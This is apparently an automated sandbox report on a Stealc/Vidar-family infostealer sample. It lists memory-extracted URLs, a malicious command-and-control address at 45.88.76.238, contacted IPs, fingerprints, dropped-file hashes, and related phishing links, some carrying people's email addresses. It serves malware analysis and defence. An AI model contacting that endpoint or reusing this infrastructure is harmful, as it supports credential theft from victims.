https://anglebug.com/7489	chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2293116144.00000CC4024FC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://45.88.76.238/3b55d279dd60140c.phpwininit.exe	5BQwrSLxIZ.exe, 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmp	false		unknown
https://docs.google.com/presentation/	chrome.exe, 00000002.00000002.2309995494.0000279003540000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/?q=	chrome.exe, 00000002.00000002.2306654928.0000279002E58000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://chrome.google.com/webstore	chrome.exe, 00000002.00000003.2189570175.0000279002EDC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000002.2303310318.00000CC402220000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://drive-daily-2.corp.google.com/	chrome.exe, 00000002.00000003.2177590988.00002790026CC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://polymer.github.io/PATENTS.txt	chrome.exe, 00000002.00000003.2188003796.0000279002B0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2188255416.000027900260C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2188029808.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2186686219.0000279003180000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2188060571.000027900320C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2300899545.00002790024F7000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2186660916.0000279003388000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2186558337.0000279003328000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2188524508.0000279003430000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2186630441.0000279003338000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2187047907.0000279003354000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2187983429.0000279002EC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2188623753.0000279003494000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.ico	chrome.exe, 00000002.00000002.2306654928.0000279002E58000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	5BQwrSLxIZ.exe, 00000000.00000003.2277997554.000000002345E000.00000004.00000020.00020000.00000000.sdmp, CBAKFCBF.0.dr	false	URL Reputation: safe	unknown
http://anglebug.com/8229i	chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://45.88.76.238/3b55d279dd60140c.phpuiX	5BQwrSLxIZ.exe, 00000000.00000002.2754327165.0000000002CF6000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://issuetracker.google.com/161903006	msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://45.88.76.238/3b55d279dd60140c.phpdge	5BQwrSLxIZ.exe, 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmp, 5BQwrSLxIZ.exe, 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmp	false		unknown
https://www.ecosia.org/newtab/	5BQwrSLxIZ.exe, 00000000.00000003.2277997554.000000002345E000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306080163.0000279002D08000.00000004.00000800.00020000.00000000.sdmp, CBAKFCBF.0.dr	false	URL Reputation: safe	unknown
https://drive-daily-1.corp.google.com/	chrome.exe, 00000002.00000003.2177590988.00002790026CC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.youtube.com/	chrome.exe, 00000002.00000002.2310711711.0000279003C70000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://drive-daily-5.corp.google.com/	chrome.exe, 00000002.00000003.2177590988.00002790026CC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.ico	chrome.exe, 00000002.00000002.2306654928.0000279002E58000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://docs.google.com/spreadsheets/u/0/create?usp=chrome_actions	chrome.exe, 00000002.00000002.2309349709.00002790032E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2303960406.0000279002A54000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2301841693.000027900272C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2302432825.000027900280C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacy	chrome.exe, 00000002.00000002.2301688574.00002790026D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2304676041.0000279002B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2303019365.0000279002900000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://plus.google.com	chromecache_98.4.dr	false		unknown
https://docs.google.com/spreadsheets/	chrome.exe, 00000002.00000002.2309995494.0000279003540000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://permanently-removed.invalid/chrome/blank.html	msedge.exe, 00000006.00000003.2293035960.00000CC402470000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/3078	chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/7553	chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2293116144.00000CC4024FC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/5375	chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://45.88.76.238/3b55d279dd60140c.php8~	5BQwrSLxIZ.exe, 00000000.00000002.2754327165.0000000002CF6000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://permanently-removed.invalid/v1/issuetoken	msedge.exe, 00000006.00000003.2293035960.00000CC402470000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.youtube.com/s/notifications/manifest/cr_install.htmllt	chrome.exe, 00000002.00000002.2310666950.0000279003C24000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/5371	chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2293116144.00000CC4024FC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/4722	chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://m.google.com/devicemanagement/data/api	chrome.exe, 00000002.00000002.2300335124.00002790023D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2176745349.00002790023E0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://permanently-removed.invalid/reauth/v1beta/users/	msedge.exe, 00000006.00000003.2293035960.00000CC402470000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.youtube.com/s/notifications/manifest/cr_install.htmlP	chrome.exe, 00000002.00000002.2310666950.0000279003C24000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://docs.google.com/presentation/u/0/create?usp=chrome_actions	chrome.exe, 00000002.00000002.2309349709.00002790032E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2303960406.0000279002A54000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2301841693.000027900272C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2302432825.000027900280C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/7556	chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2293116144.00000CC4024FC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://drive-daily-4.c	chrome.exe, 00000002.00000002.2301007326.000027900250C000.00000004.00000800.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.185.228	www.google.com	United States	15169	GOOGLEUS	false
142.250.74.206	plus.l.google.com	United States	15169	GOOGLEUS	false
45.88.76.238	unknown	Ukraine	204601	ON-LINE-DATAServerlocation-NetherlandsDrontenNL	true
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.186.142	play.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.5
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1544785
Start date and time:	2024-10-29 18:41:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 27s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	5BQwrSLxIZ.exe renamed because original name is a hash value
Original Sample Name:	44d41fbeec6ac8aacec9b49e01d3b311.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@29/42@6/7
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 79 Number of non-executed functions: 149
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.18.3, 66.102.1.84, 142.250.181.238, 34.104.35.123, 93.184.221.240, 142.250.181.234, 216.58.206.74, 216.58.212.138, 172.217.16.138, 142.250.184.234, 142.250.184.202, 172.217.18.10, 142.250.186.106, 172.217.18.106, 142.250.186.170, 142.250.186.42, 172.217.16.202, 142.250.186.138, 172.217.23.106, 142.250.186.74, 142.250.185.74, 142.250.74.202, 142.250.185.138, 142.250.185.106, 192.229.221.95, 52.168.117.172
Excluded domains from analysis (whitelisted): fs.microsoft.com, onedsblobprdeus07.eastus.cloudapp.azure.com, accounts.google.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, ogads-pa.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, login.live.com, blobcollector.events.data.trafficmanager.net, umwatson.events.data.microsoft.com, clients.l.google.com, www.gstatic.com, optimizationguide-pa.googleapis.com
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: 5BQwrSLxIZ.exe

Simulations

Behavior and APIs

Time	Type	Description
13:43:12	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
239.255.255.250	FW Complete with Docusign Remittance Advice .pdf.eml	Get hash	malicious	Unknown	Browse
	scan1738761_rsalinas@wcctxlaw.com.pdf	Get hash	malicious	HTMLPhisher	Browse
	https://gthr.uk/e8c3	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	20241029_163818.jpg	Get hash	malicious	Unknown	Browse
	https://get.hidrive.com/api/ZVDVVnH5/file/fgWacQquUMk6LQc3wqBJEz	Get hash	malicious	Unknown	Browse
	https://forms.office.com/Pages/ShareFormPage.aspx?id=w0PqEzPG80GlVpQ2KYlCgotli86l81ZCgGQV0R07kYhUMDlNVzY4TDhNS0pGV0pGVENBVVNGTURFTi4u&sharetoken=3AKcsZjmxuGhgr7rDwU0	Get hash	malicious	Unknown	Browse
	https://hhicorporation.start.page/	Get hash	malicious	Unknown	Browse
	https://www.directo.com.bo/dok	Get hash	malicious	Unknown	Browse
	https://www.directo.com.bo/dok	Get hash	malicious	Unknown	Browse
45.88.76.238	WAOfus3Nqk.exe	Get hash	malicious	Stealc	Browse	45.88.76.238/
45.88.76.238	2DpxPyeiUv.exe	Get hash	malicious	Stealc, Vidar	Browse	45.88.76.238/3b55d279dd60140c.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ON-LINE-DATAServerlocation-NetherlandsDrontenNL	WAOfus3Nqk.exe	Get hash	malicious	Stealc	Browse	45.88.76.238
	2DpxPyeiUv.exe	Get hash	malicious	Stealc, Vidar	Browse	45.88.76.238
	5lB5493t9F.exe	Get hash	malicious	Stealc	Browse	77.83.175.105
	JVLkkfzSKW.exe	Get hash	malicious	Stealc, Vidar	Browse	77.83.175.105
	uR1MVCwDco.exe	Get hash	malicious	AsyncRAT	Browse	77.220.213.58
	8WOUWb5iEv.exe	Get hash	malicious	Stealc	Browse	77.83.175.105
	X9d3758tok.exe	Get hash	malicious	Stealc, Vidar	Browse	77.83.175.105
	KMfWqiiMu0.exe	Get hash	malicious	Stealc, Vidar	Browse	77.83.175.105
	hwWxZRwpeL.exe	Get hash	malicious	Stealc, Vidar	Browse	77.83.175.105
	KTvTgKJSyw.exe	Get hash	malicious	Stealc, Vidar	Browse	77.83.175.105

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	file.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
	https://deedayoshayoatmetoback.me/whatever/toni/kross/hala/mbappe/sanchez/mark/tremble/awee/rgguuu/us/invite/	Get hash	malicious	Unknown	Browse	23.1.237.91
	file.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
	2DpxPyeiUv.exe	Get hash	malicious	Stealc, Vidar	Browse	23.1.237.91
	https://www.google.mx/url?q=jODz3y3HOSozuuQiApLh&rct=5CHARyytTPSJ3J3wDcT&sa=t&esrc=sf_rand_string_mixed(5)FgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ6CHARlDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2F%E2%80%8Biw.%C2%ADgc%C2%ADrvn%C2%ADm0.%C2%ADza%C2%AD.c%E2%80%8Bo%C2%ADm%2Ffylee%2Fimages%2Fsf_rand_string_mixed(24)/roger.christenson@steptoe-johnson.com	Get hash	malicious	Unknown	Browse	23.1.237.91
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.1.237.91
	https://www.google.mx/url?q=jODz3y3HOSozuuQiApLh&rct=5CHARyytTPSJ3J3wDcT&sa=t&esrc=sf_rand_string_mixed(5)FgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ6CHARlDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2F%E2%80%8Biw.%C2%ADgc%C2%ADrvn%C2%ADm0.%C2%ADza%C2%AD.c%E2%80%8Bo%C2%ADm%2Ffylee%2Fimages%2Fsf_rand_string_mixed(24)/toto@dgtresor.gouv.fr	Get hash	malicious	Unknown	Browse	23.1.237.91
	http://gameshdlive.net	Get hash	malicious	Unknown	Browse	23.1.237.91
	2025+Policies_645622_929-5.pdf	Get hash	malicious	Unknown	Browse	23.1.237.91
	ST007 SWIFT CONFIRMATION.xls	Get hash	malicious	Unknown	Browse	23.1.237.91
28a2c9bd18a11de089ef85a160da29e4	FW Complete with Docusign Remittance Advice .pdf.eml	Get hash	malicious	Unknown	Browse	52.149.20.212 184.28.90.27 40.126.32.72 13.107.246.45
	https://gthr.uk/e8c3	Get hash	malicious	Unknown	Browse	52.149.20.212 184.28.90.27 40.126.32.72 13.107.246.45
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	52.149.20.212 184.28.90.27 40.126.32.72 13.107.246.45
	20241029_163818.jpg	Get hash	malicious	Unknown	Browse	52.149.20.212 184.28.90.27 40.126.32.72 13.107.246.45
	https://get.hidrive.com/api/ZVDVVnH5/file/fgWacQquUMk6LQc3wqBJEz	Get hash	malicious	Unknown	Browse	52.149.20.212 184.28.90.27 40.126.32.72 13.107.246.45
	https://forms.office.com/Pages/ShareFormPage.aspx?id=w0PqEzPG80GlVpQ2KYlCgotli86l81ZCgGQV0R07kYhUMDlNVzY4TDhNS0pGV0pGVENBVVNGTURFTi4u&sharetoken=3AKcsZjmxuGhgr7rDwU0	Get hash	malicious	Unknown	Browse	52.149.20.212 184.28.90.27 40.126.32.72 13.107.246.45
	https://lumen.backerkit.com/invites/mAqpu6B5ZtIAsrg4a5WdGA/confirm?redirect_path=//rahul-garg-lcatterton-com.athuselevadores.com.br	Get hash	malicious	HTMLPhisher	Browse	52.149.20.212 184.28.90.27 40.126.32.72 13.107.246.45
	https://deedayoshayoatmetoback.me/whatever/toni/kross/hala/mbappe/sanchez/mark/tremble/awee/rgguuu/us/invite/	Get hash	malicious	Unknown	Browse	52.149.20.212 184.28.90.27 40.126.32.72 13.107.246.45
	Jmaman_##Salary##_Benefit_for_JmamanID#IyNURVhUTlVNUkFORE9NMTAjIw==.html	Get hash	malicious	HTMLPhisher	Browse	52.149.20.212 184.28.90.27 40.126.32.72 13.107.246.45
	https://qH.todentu.ru/FcZpLy/#Obritchie@initusa.com	Get hash	malicious	Unknown	Browse	52.149.20.212 184.28.90.27 40.126.32.72 13.107.246.45

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\chrome.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	2DpxPyeiUv.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	JVLkkfzSKW.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	X9d3758tok.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\CAKKKFBFIDGDBFHJJEHI

Download File

Process:	C:\Users\user\Desktop\5BQwrSLxIZ.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CBAKFCBF

Download File

Process:	C:\Users\user\Desktop\5BQwrSLxIZ.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_5BQwrSLxIZ.exe_a9ba49c7245ad8289743d6dec860987f3a8b130_f5687a89_bb96e053-6649-426c-a59c-48c3ef7832e6\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0106894638713908
Encrypted:	false
SSDEEP:	192:2CLZHgDn0FxfSfnSjucZrP2E8zuiFtZ24IO8L:7NHgD0FxfSfnSjNKzuiFtY4IO8L
MD5:	7523F1675EF66B33BA8C74EB40284F59
SHA1:	B71153DBE0AE97B1858F65305E06824EC046043F
SHA-256:	ECE4BF72108C353E0888B970B0040DCE20589EA47488EB4E34C5CC85A2AEB5D3
SHA-512:	377D796FAE6D505A73EFC81B2301E419C5555BFF680CE70CDBC4D6FFF976ABFE39161EC053E97ABC52CEB1F8C61AF7449C80CBD4D5C7058C22E53D7378341C81
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.4.6.9.7.3.5.7.1.8.4.7.5.7.7.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.4.6.9.7.3.5.7.8.0.9.7.5.9.3.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.b.9.6.e.0.5.3.-.6.6.4.9.-.4.2.6.c.-.a.5.9.c.-.4.8.c.3.e.f.7.8.3.2.e.6.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.6.6.c.2.a.1.c.f.-.d.d.c.1.-.4.3.2.5.-.a.a.f.7.-.e.a.9.6.a.6.8.1.7.b.0.0.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.5.B.Q.w.r.S.L.x.I.Z...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.b.f.0.-.0.0.0.1.-.0.0.1.4.-.9.7.2.2.-.6.1.d.d.2.9.2.a.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.a.8.5.5.b.1.6.3.e.e.a.2.5.1.5.b.1.d.2.2.0.e.d.1.9.9.f.5.e.f.9.2.0.0.0.0.f.f.f.f.!.0.0.0.0.e.5.f.5.a.f.2.a.c.5.3.4.e.3.3.5.2.a.9.3.f.5.7.d.a.e.4.4.f.6.8.4.a.1.1.8.a.2.b.9.!.5.B.Q.w.r.S.L.x.I.Z...e.x.e.....T.a.r.g.e.t.A.p.p.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6A09.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Tue Oct 29 17:42:37 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	126326
Entropy (8bit):	1.9627426238030277
Encrypted:	false
SSDEEP:	384:2jL49mNIE8YozEzG98WAVkO+B8pYb/rYjhvY2t+0K+0KgkEWcT6hGF:2X49eIE8tAS8WykB8p+qGkAKvQq8
MD5:	BF2AD7584F7B4A883059F8189CDA50F8
SHA1:	DA990291D0EF7BF2BE7FB24B9B9F9FBEED6EB1AF
SHA-256:	65881D221F67F0B6AA7B68DF0EAAF69584F395C3D06E292A7AF402AC76C2FCBB
SHA-512:	718C7382707629C4B427375AE9F3978B922E9408287C9102B29ACE9F2A47CE71082DAB4584B3D5E9C386B96B2690EC4E762EFDEC84A2ED8311EEB18E59CE365F
Malicious:	false
Preview:	MDMP..a..... .........!g........................\|...........T...LI..........T.......8...........T............H..............h!..........T#..............................................................................eJ.......#......GenuineIntel............T...........k.!g.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6BA1.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8362
Entropy (8bit):	3.7005603709123283
Encrypted:	false
SSDEEP:	192:R6l7wVeJGk63nN6YEIVSU9RmlgmfAR44r4pDO89b4YMYsflom:R6lXJ96d6YEKSU9RcgmfAR44ry4YMLf/
MD5:	69210B6BDE4DFA7DC49C7956BEC2F691
SHA1:	E7A870A8899F99B8A0DF223778B9E43941AE7097
SHA-256:	804D173186F258D85FC1E4FB909FA12FB57AB2BCD01E43E19197B1A958E15182
SHA-512:	C558853266C84F722583CCFA27FF516AAFCFE6E9E7E2EEFED724EC0E950F9A685BA8CA5B1BB8EB4696FED5DF8A21BD07B5FDAAB60B15AF71E6DCBCCE54BEF626
Malicious:	false
